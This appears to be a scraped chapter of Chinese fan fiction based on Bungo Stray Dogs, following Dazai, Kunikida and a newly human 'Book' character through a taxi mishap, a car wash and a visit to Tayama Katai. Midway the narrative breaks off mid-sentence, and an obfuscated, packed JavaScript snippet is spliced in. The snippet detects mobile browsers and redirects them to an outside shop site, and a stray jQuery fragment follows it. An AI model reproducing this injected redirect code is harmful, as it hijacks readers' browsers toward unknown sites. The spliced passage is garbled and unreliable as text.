“你才身上有味呢。”
国木田慌忙道:“不,我不是那个意思,我是想说——”
“可以了,我载不起你们这两尊大佛。”他打断他的话。
思绪中的太宰治发现了一件很可怕的事实。
世界之“书”,好像准备变成一个人。
不仅如此,他还进化出了人类所有的器官、情绪感知能力,甚至具备了成年人的生理特征。
最重要的,好像看上他了。
这种事情不要啊!
太宰治连连摆手,男人什么的我拒绝。
在国木田独步目光下,只见开车的人一动不动,接着手猛的一拍方向盘,路怒症破口大骂,
“快滚下车!”
驾驶员突然露出愤怒的神情,嗓音再次变化,粗重地压着嗓子吼道:
“我惹不起你们这两个神经病!你纵容朋友在我车上胡闹,他对着我在我车上乱来!两个混账东西!”
车门猛地打开,伴随着一阵漂移般的动作,两人一前一后被甩了出去。
在空中还绕了个圈。
能看出驾驶人员的车技很好,不费吹灰之力把他们丢走,还能借用惯性把车门重新甩关上,一溜烟开走了,只留下一阵风吹过的车尾气。
来不及回怼,国木田扶住太苦我,“你还好——”
“我好了!”
他关切的话被打断。
太苦我看着他,脸不红、喘不急,扭头发愣,自己都懵了,“我好像正常了。”
“一下车就好了,那个味道也闻不见,哦,这里也消了,明明刚才努力了半天都没有要沉寂的意思。”他自我感觉良好,那块儿既不火热也不肿胀,轻松下去。
冷风呼呼的吹,太阳高高的长,太苦我傻傻的人。
“一下车就好了……?”国木田独步摸了摸后脖子,开始严肃地思考起来,
他问:“你有感受到是异能力的附加吗?”
“没有。”太苦摇头。
“那就只能是那个人的起因,你确定你在他身上闻到了香味?”追问中。
太苦我:“我确定以及肯定,那个味道我很喜欢,像是夏天的草莓糖果冰淇淋,冬天黏糊糊的红豆汤,清香飘甜。”
说着说着,他旁若无人的挥舞双臂,夸张的在半空划出精神满满的线条,无比兴奋地大跳起来。
不顾他人死活的快乐。
国木田独步:?
叹气,抓头发,脑子不受控制回想起乱步发过来的信息。
——[毕竟是太苦喜欢的人嘛,如果是心所向着的人,就算再没波动的人也会不受控制。]
“你,真的喜欢他吗?”国木田独步面色微苦。
身前的太苦我疑惑:“什么喜欢?”
“书”压根不懂喜欢是什么概念,只知道那个味道真的很喜欢,想要多次贴近。
于是不明所以眨眼,造成了“这只是出现了一场意外”的错觉。
“唉,但愿你没有喜欢一个那么年老的……”眼看他是真的迷茫,国木田松了口气。
那司机师傅的声音真的很垂暮。
就像是快要死去的人、挣扎着从嗓子抠出一点声音,偏偏它断断续续,难听的像撕裂的树皮。
老年人不要祸害小年轻。
他发自内心的嫌弃,男同也离我远一点。
大概正因为他抱着这种过分的想法,“老男人”才把他们无情扔在路边。
距离侦探社公寓宿舍还有0.2千米,两人深呼吸,调整好状态,头发潇洒一甩,步行离开。
公路的道旁有很多乱七八糟的石头堆叠在一起,踩上去硌脚。
石子原是从草地里飞溅出来的,在柏油路上滚一圈,颌面尖利凹凸不平,被两脚兽无意间一踹,石子飞到另一旁,压死几只寻找食物的蚂蚁。
随着一片枯黄的落叶在太阳下坠地,两个身影走远。影子没有被拉得很长,只是越来越浅,越来越看不见影。
太宰治的出租车漫游游开往洗车店,踩刹车,精准停在指定位置。
手指按住降下窗户的按钮,他探出半边脑袋。
“老板在吗~”
他拉着可爱的调子喊,“这里有要洗车的大老板来啦。”
“嗨!有在这里,稍微等我一会,我在你旁边那辆车底下,让我修完底盘,麻烦了!”老板的声音从地底传来,夹杂着汽油味。
太宰治嗯嗯应好。
主驾驶位的少年摘下墨镜,口罩也一并取下。
他的面容清秀,眉宇间带着惑人的明艳,眼神深邃,带着某种黑洞般的奥秘。
双手从宽大的袖子内伸出来,露出纤细白皙的手臂,指尖因为天冷而泛红,指节却泛着病态的白,手腕间凸起的小骨头像是什么刀锋利刃,一个劲的往外突突,衬得这个少年无比瘦弱。
他从口袋里拿出一包烟,那是味道不浓重的女士烟。
曲指勾起一只细长的女士烟,无名指和小拇指夹着,他释放出的力气并不大,松散的带着深紫色的烟头悬空。
太宰治小心将细小如木筷的烟嘴抬高,轻启唇,用牙齿咬住叼起,没有点燃烟蒂。
“嘿,小哥,你抽烟抽女士烟?”
“要我说,女士烟抽起来可没格调!真男人就该抽JT下最经典、最老牌的高端烤烟——Peace!”老板不知何时站起,他身上穿着深灰色行工作服,上面布满泥泞和油漆,他动作夸大,声音响亮。
“是吗。”太宰治语气平淡带笑。
他略微仰头,下滑车窗割裂出他上下两张脸,明亮又阴暗,流露出些许野兽般的危险。
“当然了!”
老板激动地说,他情绪高昂地从口袋里掏,或许是动作幅度过大,他拿了两次才拿出来,“这老好了,里面还有梅子的清味呢,你抽的女士烟和它比,其实也差不多,Peace仅比它浓那么一点儿,完全不呛喉!你要不要先试一试?”
他面若中老年人,脸上的褶子层层叠叠,偏偏眼睛笑得很明亮,像是漆黑的夜色中一抹路灯。
一支干净的烟递到太宰面前。
“不用了,很感谢您呢,我其实不是很喜欢抽烟哦,”太宰治朝他俏皮地眨眨眼,打开车门出去,皮鞋踏在地面,发出很轻一声的哒哒。
“不过是用来装面子的罢了……”
他笑了下,带着些不明的意味。伸手从自己的烟盒重新抽出一根朝他送。
“你要试试我的吗?”
细管的烟顺着苍白的手,飘忽到半空,深紫色的烟嘴和白色分半节,格外骚气。
“不用了,我是不太习惯这种烟了,你们小男生都喜欢这种,我可适应不了……”老板嫌弃地后缩脖子,双下巴顶了出来,他飞快摆手,把他传过来的手推回去,顺便把自己的好烟收起来。
太宰治耸肩,视线移动,缓慢聚焦于墙壁上装好的监控上,好似想到什么恶作剧似的,他没来由的勾起唇。
“老板,我要洗车呢,”他没有回眼神去看对方,简单明了的说出自己的要求,“内外都要洗,价格不是问题,玻璃记得尤其擦干净。”
“OK!”老板比了个交给我、你放心的手势。
太宰治:“你要不坐进驾驶位看看吧,那一块前面的玻璃杯椰子水撒过,大概会很不好清洗。”
他指了指前面的位置,老板再次点头,弯身坐进去,车门一关,仔细看着太宰治指着的、嘴里说“不好清洗”的地方,瞬间哈哈大笑。
“你莫非是一个贵公子?”老板夹杂着笑声的话
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17250977|197935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出口,声声高亢,“这算什么脏的,我用小抹布一擦,简简单单就结束了哈哈哈。”
“原来是这样,那真厉害。”太宰治没有反驳的欲望。
他偏开身体,将自己的身影没入监控死角,监控的镜头对准车内驾驶位的老板。
老板眼神四转观察车内的构造,为了使车子内外更好的清洗,他随手将窗子关上,自己则在太宰治的指点下环顾一圈车内。
最后得出了“很好洗,不用加钱”的结论。
付了定金后,原本鼓鼓的钱包瞬间瘪了下去,太宰治将棕色的皮包塞回口袋,仔细叮嘱道
太宰:“要清洗的很干净哦,先生。”
老板:“O而K之~”
另一边,太苦我和国木田经历两百米的历练,成功到达目的地。
“终于到了。”国木田独步扶眼镜,两人在门口站定。
推开宿舍大门的时候,里面一片墨色,大概是拉上了隔色的窗帘,睁眼伸手不见五指,在靠近门边的一点光色,他们一同看到裹着被子的果冻怪朝门口爬,空气发出刺耳的摩擦声。
那“果冻”一寸寸挪过来。
“呜哇啊啊啊!!!”
国木田没来得及被惊吓,太苦我率先绷不住。
他当场吓得起飞,猛地沿走廊跑出去,速度飞快,一下从“侧门”冲到外面,整个人在公寓的四楼外高飞。
走廊的两边是玻璃装置,受到猛烈的冲击,炸裂出一块块碎片。大小不一的尖口在地面铺成一片,在阳光的照射下散发出七彩的光芒。
太苦我的身影在四楼外形成小小一个点,还飞着。
国木田:“……”
国木田伸手:(你干甚去了!.jpg)
裹着棉被很舒服,所以这么爬过来的山田花袋:“……?”
“这就是侦探社的新成员吗,原来是这种精神系少年,还不错嘛。”山田花袋跪坐在地上,暗暗点头。
国木田独步低头看他,山田花袋仰头回看。
还没反应过来是自己把新人吓一大跳的山田花袋一脸无辜,他脸上覆着圆圆的眼睛,下巴上长出的胡茬还没剃掉,身上被一层厚厚的花里胡哨布料包裹,模样看着有些颓然。
“ Hello,独步,好久不见。”
国木田独步眼镜反光,伸手扶,“是啊,差不多有快两个月了吧,花袋,你还是如此沉迷舒适。”
“不懂得解放自己才是罪过,你要不要把那小子喊进来,这样会吓到外面的人,我虽然可以做到不传播出去,但人与人的交流之间也很恐怖,”他像人类进化史一样慢慢起身,从猴子的爬行动作转为站立,动作一顿一顿,像是被抽了帧一样古怪。
山田花袋用双手紧紧搂住棉被,困倦的打了个哈欠,“你要的东西我已经弄出来了,因为很闲,所以顺带瞅了一眼你们过来的路程……发现一件事情很有趣,必须要给你看一看。”
“嗯?”这勾起了国木田的兴趣。
“进来再说。”山田自信笑,率先转身往回走,顺便招招手,让相处多年的好兄弟也跟着进来。
“嗯。好歹也把窗帘拉开一下吧,太阴森了,你也还很青春,不要这么快就把自己弄成颓废人员。”国木田先是保留节目般的提了一嘴他的生活习惯,转头朝外面喊太苦我,“太苦君!快回来,这里没有鬼怪之类的东西,所以不用怕!”
“我才没有怕!”太苦我飞过来回嘴。
他跟着两位前辈的动作一起往屋内走去。
瞳孔好奇地在周围转圈。
在外面看,宿舍里面确实黑得不成样子,但进去了,眼睛适应之后,其实也差不多,只是空气的颜色深了些,与其他地方并无差距。
和正常人住的普通公寓没有差别。